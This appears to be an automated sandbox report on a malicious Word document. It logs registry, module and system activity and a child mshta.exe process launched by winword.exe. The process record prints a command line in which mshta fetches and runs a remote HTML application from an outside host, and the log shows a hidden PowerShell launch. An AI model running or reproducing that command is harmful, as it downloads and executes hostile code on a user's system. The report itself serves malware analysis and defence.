Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE	-	1	Fn
Read Value	HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32	data = C:\Windows\System32\mshtml.dll, type = REG_SZ	1	Fn
Read Value	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer	value_name = NoFileMenu, type = REG_NONE	1	Fn
Read Value	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup	value_name = Print_Background	1	Fn

Process (1)

Operation	Process	Additional Information	Success	Count	Logfile
Create	C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe	show_window = SW_HIDE		1	Fn

Module (52)

Operation	Module	Additional Information	Count	Logfile
Load	C:\Windows\System32\mshtml.dll	base_address = 0x7fee0880000	1	Fn
Load	comctl32.dll	base_address = 0x7fefc060000	1	Fn
Load	OLEAUT32.dll	base_address = 0x7fefde70000	1	Fn
Load	mshtml.dll	base_address = 0x7fee0880000	1	Fn
Load	OLEACC.DLL	base_address = 0x7fef22f0000	1	Fn
Load	ieframe.dll	base_address = 0x7fef2350000	2	Fn
Load	ole32.dll	base_address = 0x7fefe1c0000	1	Fn
Load	shell32.dll	base_address = 0x7fefe850000	1	Fn
Load	oleaut32.dll	base_address = 0x7fefde70000	1	Fn
Load	WININET.dll	base_address = 0x7feff5e0000	1	Fn
Get Handle	c:\windows\system32\mshta.exe	base_address = 0xff9d0000	2	Fn
Get Handle	c:\windows\system32\kernel32.dll	base_address = 0x776e0000	3	Fn
Get Handle	c:\windows\system32\advapi32.dll	base_address = 0x7feff8e0000	1	Fn
Get Handle	EXPLORER.EXE	base_address = 0x0	1	Fn
Get Handle	IEXPLORE.EXE	base_address = 0x0	1	Fn
Get Handle	c:\windows\system32\ole32.dll	base_address = 0x7fefe1c0000	1	Fn
Get Handle	mscoree.dll	base_address = 0x0	1	Fn
Get Filename	-	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260	4	Fn
Get Filename	C:\Windows\System32\mshtml.dll	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshtml.dll, size = 260	1	Fn
Get Filename	c:\windows\system32\mshta.exe	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260	1	Fn
Get Filename	IEXPLORE.EXE	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 261	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = HeapSetInformation, address_out = 0x776fc4a0	1	Fn
Get Address	c:\windows\system32\advapi32.dll	function = EventWrite, address_out = 0x7782b510	1	Fn
Get Address	c:\windows\system32\advapi32.dll	function = EventRegister, address_out = 0x7783cac0	1	Fn
Get Address	c:\windows\system32\advapi32.dll	function = EventUnregister, address_out = 0x77823c80	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = RegisterApplicationRestart, address_out = 0x7775f510	1	Fn
Get Address	c:\windows\system32\mshtml.dll	function = RunHTMLApplication, address_out = 0x7fee0ad5b90	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = InitializeSRWLock, address_out = 0x778384f0	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = AcquireSRWLockExclusive, address_out = 0x77828020	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = AcquireSRWLockShared, address_out = 0x778254e0	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = ReleaseSRWLockExclusive, address_out = 0x77828050	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = ReleaseSRWLockShared, address_out = 0x778254b0	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 6, address_out = 0x7fefde71320	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 7, address_out = 0x7fefde71020	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 8, address_out = 0x7fefde713f0	1	Fn
Get Address	c:\windows\system32\oleacc.dll	function = LresultFromObject, address_out = 0x7fef22f3aa8	1	Fn
Get Address	c:\windows\system32\ole32.dll	function = CoCreateInstance, address_out = 0x7fefe1e7490	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 2, address_out = 0x7fefde73480	1	Fn
Get Address	c:\windows\system32\ole32.dll	function = CLSIDFromProgIDEx, address_out = 0x7fefe1da4c4	1	Fn
Get Address	c:\windows\system32\ole32.dll	function = CoGetClassObject, address_out = 0x7fefe1f2e18	1	Fn
Get Address	c:\windows\system32\shell32.dll	function = ShellExecuteExW, address_out = 0x7fefe877c70	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = VariantClear, address_out = 0x7fefde71180	1	Fn
Get Address	c:\windows\system32\wininet.dll	function = InternetUnlockRequestFile, address_out = 0x7feff5f70f4	1	Fn
Create Mapping	-	filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 16	1	Fn
Map	-	process_name = c:\windows\system32\mshta.exe, desired_access = FILE_MAP_WRITE	1	Fn

Window (7)

Operation	Window Name	Additional Information	Count	Logfile
Create	-	class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248	1	Fn
Create	-	class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248	1	Fn
Create	-	wndproc_parameter = 0	1	Fn
Create	-	wndproc_parameter = 3921792	1	Fn
Set Attribute	-	class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352	2	Fn
Set Attribute	-	class_name = HTML Application Host Window Class, index = 18446744073709551596, new_long = 262144	1	Fn

Keyboard (116)

Operation	Additional Information	Count	Logfile
Get Info	type = KB_LOCALE_ID	2	Fn
Read	virtual_key_code = VK_SHIFT, result_out = 0	19	Fn
Read	virtual_key_code = VK_CONTROL, result_out = 0	19	Fn
Read	virtual_key_code = VK_MENU, result_out = 0	19	Fn
Read	virtual_key_code = VK_LSHIFT, result_out = 0	10	Fn
Read	virtual_key_code = VK_LCONTROL, result_out = 0	10	Fn
Read	virtual_key_code = VK_LMENU, result_out = 0	10	Fn
Read	virtual_key_code = VK_LBUTTON, result_out = 0	8	Fn
Read	virtual_key_code = VK_RBUTTON, result_out = 0	9	Fn
Read	virtual_key_code = VK_MBUTTON, result_out = 0	9	Fn
Read	virtual_key_code = VK_LBUTTON, result_out = 1	1	Fn

System (296)

Operation	Additional Information	Count	Logfile
Get Cursor	x_out = 724, y_out = 422	5	Fn
Get Cursor	x_out = 791, y_out = 286	5	Fn
Sleep	duration = 100 milliseconds (0.100 seconds)	3	Fn
Sleep	duration = 0 milliseconds (0.000 seconds)	1	Fn
Sleep	duration = -1 (infinite)	3	Fn
Get Time	type = System Time, time = 2017-10-24 17:37:59 (UTC)	2	Fn
Get Time	type = Ticks, time = 127203	1	Fn
Get Time	type = Ticks, time = 127546	1	Fn
Get Time	type = Ticks, time = 131134	1	Fn
Get Time	type = Ticks, time = 131181	251	Fn
Get Time	type = Ticks, time = 131196	4	Fn
Get Time	type = System Time, time = 2017-10-24 17:38:03 (UTC)	2	Fn
Get Time	type = Ticks, time = 131243	1	Fn
Get Time	type = Ticks, time = 131274	1	Fn
Get Time	type = Ticks, time = 131493	1	Fn
Get Time	type = Ticks, time = 151367	1	Fn
Get Info	type = Operating System	7	Fn
Get Info	type = Operating System	2	Fn
Get Info	type = Windows Directory, result_out = C:\Windows	1	Fn
Get Info	-	3	Fn

Mutex (1)

Operation	Additional Information	Success	Count	Logfile
Create	mutex_name = Local\!PrivacIE!SharedMemory!Mutex		1	Fn

Environment (1)

Operation	Additional Information	Success	Count	Logfile
Get Environment String	-		1	Fn Data

Ini (5)

Operation	Filename	Additional Information	Count	Logfile
Read	Win.ini	section_name = windows, key_name = DragDelay, default_value = 20, data_out = 20	1	Fn
Read	Win.ini	section_name = windows, key_name = DragScrollInset, default_value = 11, data_out = 11	1	Fn
Read	Win.ini	section_name = windows, key_name = DragScrollDelay, default_value = 50, data_out = 50	1	Fn
Read	Win.ini	section_name = windows, key_name = DragDelay, default_value = 200, data_out = 200	1	Fn
Read	Win.ini	section_name = windows, key_name = DragScrollInterval, default_value = 50, data_out = 50	1	Fn

Process #5: mshta.exe

(Host: 647, Network: 0)

Information	Value
ID	#5
File Name	c:\windows\system32\mshta.exe
Command Line	"C:\Windows\System32\mshta.exe" http://www.samyrai777m.p-host.in/t/t.php?thread=0
Initial Working Directory	C:\Users\aETAdzjz\Desktop\
Monitor	Start Time: 00:01:02, Reason: Child Process
Unmonitor	End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration	00:01:34

OS Process Information

Information	Value
PID	0xbc8
Parent PID	0x9b0 (c:\program files\microsoft office\root\office16\winword.exe)
Is Created or Modified Executable
Integrity Level	Medium
Username	YKYD69Q\aETAdzjz
Groups	YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) BUILTIN\Administrators (USE_FOR_DENY_ONLY) BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID) LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x BCC 0x BDC 0x BEC 0x BF0 0x BF4 0x BF8 0x 80C 0x 81C 0x 83C 0x 864 0x 7B0 0x 518

Region

Name	Start VA	End VA	Type	Permissions	Actions
private_0x0000000000010000	0x00010000	0x0002ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000010000	0x00010000	0x0001ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000020000	0x00020000	0x00026fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000030000	0x00030000	0x00033fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000040000	0x00040000	0x00040fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000050000	0x00050000	0x0014ffff	Private Memory	Readable, Writable	Region Actions
locale.nls	0x00150000	0x001b6fff	Memory Mapped File	Readable	Region Actions
imm32.dll	0x001c0000	0x001e8fff	Memory Mapped File	Readable	Region Actions
pagefile_0x00000000001c0000	0x001c0000	0x001c1fff	Pagefile Backed Memory	Readable, Writable	Region Actions
mshta.exe.mui	0x001d0000	0x001d0fff	Memory Mapped File	Readable, Writable	Region Actions
private_0x00000000001e0000	0x001e0000	0x001e0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000001f0000	0x001f0000	0x001f0fff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000200000	0x00200000	0x00200fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000000210000	0x00210000	0x00210fff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000220000	0x00220000	0x00220fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000000230000	0x00230000	0x0023ffff	Private Memory	Readable, Writable	Region Actions Download Dump
rpcss.dll	0x00240000	0x002bcfff	Memory Mapped File	Readable	Region Actions
index.dat	0x00240000	0x0024bfff	Memory Mapped File	Readable, Writable	Region Actions
index.dat	0x00250000	0x00257fff	Memory Mapped File	Readable, Writable	Region Actions
index.dat	0x00260000	0x0026ffff	Memory Mapped File	Readable, Writable	Region Actions
index.dat	0x00270000	0x002affff	Memory Mapped File	Readable, Writable	Region Actions
pagefile_0x00000000002b0000	0x002b0000	0x002b0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000002c0000	0x002c0000	0x002c0fff	Pagefile Backed Memory	Readable	Region Actions
private_0x00000000002d0000	0x002d0000	0x003cffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000003d0000	0x003d0000	0x004cffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000004d0000	0x004d0000	0x005cffff	Private Memory	Readable, Writable	Region Actions Download Dump
windowsshell.manifest	0x005d0000	0x005d0fff	Memory Mapped File	Readable	Region Actions
pagefile_0x00000000005d0000	0x005d0000	0x005d0fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x00000000005e0000	0x005e0000	0x005e1fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000005f0000	0x005f0000	0x005f1fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000600000	0x00600000	0x00601fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000610000	0x00610000	0x00610fff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000610000	0x00610000	0x00610fff	Pagefile Backed Memory	Readable	Region Actions
oleaccrc.dll	0x00620000	0x00620fff	Memory Mapped File	Readable	Region Actions
private_0x0000000000630000	0x00630000	0x0063ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000640000	0x00640000	0x007c7fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000007d0000	0x007d0000	0x00950fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000960000	0x00960000	0x01d5ffff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000001d60000	0x01d60000	0x01e3efff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000001e40000	0x01e40000	0x01e40fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000001e40000	0x01e40000	0x01e41fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000001e60000	0x01e60000	0x01f5ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000001f60000	0x01f60000	0x020bffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000001f60000	0x01f60000	0x01ffffff	Private Memory	Readable, Writable	Region Actions Download Dump
c_20127.nls	0x01f60000	0x01f70fff	Memory Mapped File	Readable	Region Actions
private_0x0000000001f80000	0x01f80000	0x01ffffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002000000	0x02000000	0x0202ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002020000	0x02020000	0x0202ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002040000	0x02040000	0x020bffff	Private Memory	Readable, Writable	Region Actions Download Dump
sortdefault.nls	0x020c0000	0x0238efff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000002390000	0x02390000	0x026d2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x00000000026e0000	0x026e0000	0x0286ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000026e0000	0x026e0000	0x0274ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000026e0000	0x026e0000	0x0271ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000027f0000	0x027f0000	0x0286ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000028b0000	0x028b0000	0x029affff	Private Memory	Readable, Writable	Region Actions
private_0x00000000029b0000	0x029b0000	0x02aaffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002ab0000	0x02ab0000	0x02c5ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002af0000	0x02af0000	0x02beffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002c50000	0x02c50000	0x02c5ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002c60000	0x02c60000	0x02d5ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002d80000	0x02d80000	0x02e7ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002ee0000	0x02ee0000	0x02f5ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000003050000	0x03050000	0x0314ffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000031a0000	0x031a0000	0x0329ffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000032d0000	0x032d0000	0x033cffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000033d0000	0x033d0000	0x034cffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x00000000034d0000	0x034d0000	0x038c2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000003a50000	0x03a50000	0x03b4ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000003b50000	0x03b50000	0x03c4ffff	Private Memory	Readable, Writable	Region Actions Download Dump
user32.dll	0x775e0000	0x776d9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernel32.dll	0x776e0000	0x777fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntdll.dll	0x77800000	0x779a8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
normaliz.dll	0x779c0000	0x779c2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
psapi.dll	0x779d0000	0x779d6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000000007efe0000	0x7efe0000	0x7ffdffff	Private Memory	Readable	Region Actions
pagefile_0x000000007efe0000	0x7efe0000	0x7f0dffff	Pagefile Backed Memory	Readable	Region Actions
private_0x000000007f0e0000	0x7f0e0000	0x7ffdffff	Private Memory	Readable	Region Actions
private_0x000000007ffe0000	0x7ffe0000	0x7ffeffff	Private Memory	Readable	Region Actions Download Dump
mshta.exe	0xff9d0000	0xff9dffff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mshtml.dll	0x7fee0880000	0x7fee1117fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oleacc.dll	0x7fef22f0000	0x7fef2343fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ieframe.dll	0x7fef2350000	0x7fef2f06fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msimtf.dll	0x7fef3140000	0x7fef314dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rasman.dll	0x7fef3160000	0x7fef317bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rasapi32.dll	0x7fef3180000	0x7fef31e1fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
npmproxy.dll	0x7fef3c70000	0x7fef3c7bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rasadhlp.dll	0x7fef46d0000	0x7fef46d7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msls31.dll	0x7fef6080000	0x7fef60bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sensapi.dll	0x7fef6630000	0x7fef6638fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
netprofm.dll	0x7fef6660000	0x7fef66d3fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rtutils.dll	0x7fefadc0000	0x7fefadd0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
winrnr.dll	0x7fefaf90000	0x7fefaf9afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
pnrpnsp.dll	0x7fefafa0000	0x7fefafb8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
napinsp.dll	0x7fefafc0000	0x7fefafd4fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dwmapi.dll	0x7fefb180000	0x7fefb197fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
uxtheme.dll	0x7fefb560000	0x7fefb5b5fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dhcpcsvc.dll	0x7fefbc30000	0x7fefbc47fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dhcpcsvc6.dll	0x7fefbc50000	0x7fefbc60fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
fwpuclnt.dll	0x7fefbc80000	0x7fefbcd2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
winnsi.dll	0x7fefbdd0000	0x7fefbddafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
iphlpapi.dll	0x7fefbde0000	0x7fefbe06fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
nlaapi.dll	0x7fefbf70000	0x7fefbf84fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
comctl32.dll	0x7fefc060000	0x7fefc253fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntmarta.dll	0x7fefc740000	0x7fefc76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
version.dll	0x7fefc910000	0x7fefc91bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wshtcpip.dll	0x7fefc9e0000	0x7fefc9e6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rsaenh.dll	0x7fefcd40000	0x7fefcd86fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dnsapi.dll	0x7fefce60000	0x7fefcebafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wship6.dll	0x7fefcfd0000	0x7fefcfd6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mswsock.dll	0x7fefcfe0000	0x7fefd034fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptsp.dll	0x7fefd040000	0x7fefd056fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sspicli.dll	0x7fefd610000	0x7fefd634fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptbase.dll	0x7fefd640000	0x7fefd64efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sxs.dll	0x7fefd650000	0x7fefd6e0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrtremote.dll	0x7fefd730000	0x7fefd743fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
profapi.dll	0x7fefd750000	0x7fefd75efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msasn1.dll	0x7fefd7f0000	0x7fefd7fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
crypt32.dll	0x7fefd840000	0x7fefd9a6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernelbase.dll	0x7fefd9d0000	0x7fefda3afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
imm32.dll	0x7fefdb40000	0x7fefdb6dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcrt.dll	0x7fefdd50000	0x7fefddeefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oleaut32.dll	0x7fefde70000	0x7fefdf46fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
lpk.dll	0x7fefdf50000	0x7fefdf5dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
iertutil.dll	0x7fefdf60000	0x7fefe1b8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ole32.dll	0x7fefe1c0000	0x7fefe3c2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
urlmon.dll	0x7fefe3d0000	0x7fefe547fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
clbcatq.dll	0x7fefe550000	0x7fefe5e8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ws2_32.dll	0x7fefe5f0000	0x7fefe63cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrt4.dll	0x7fefe640000	0x7fefe76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shlwapi.dll	0x7fefe770000	0x7fefe7e0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wldap32.dll	0x7fefe7f0000	0x7fefe841fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shell32.dll	0x7fefe850000	0x7feff5d7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wininet.dll	0x7feff5e0000	0x7feff709fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msctf.dll	0x7feff710000	0x7feff818fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sechost.dll	0x7feff8c0000	0x7feff8defff	Memory Mapped File	Readable, Writable, Executable	Region Actions
advapi32.dll	0x7feff8e0000	0x7feff9bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
nsi.dll	0x7feff9c0000	0x7feff9c7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
gdi32.dll	0x7feff9d0000	0x7feffa36fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
usp10.dll	0x7feffa40000	0x7feffb08fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apisetschema.dll	0x7feffb20000	0x7feffb20fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000007fffffa4000	0x7fffffa4000	0x7fffffa5fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffa6000	0x7fffffa6000	0x7fffffa7fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffa8000	0x7fffffa8000	0x7fffffa9fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffaa000	0x7fffffaa000	0x7fffffabfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffac000	0x7fffffac000	0x7fffffadfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffae000	0x7fffffae000	0x7fffffaffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x000007fffffb0000	0x7fffffb0000	0x7fffffd2fff	Pagefile Backed Memory	Readable	Region Actions
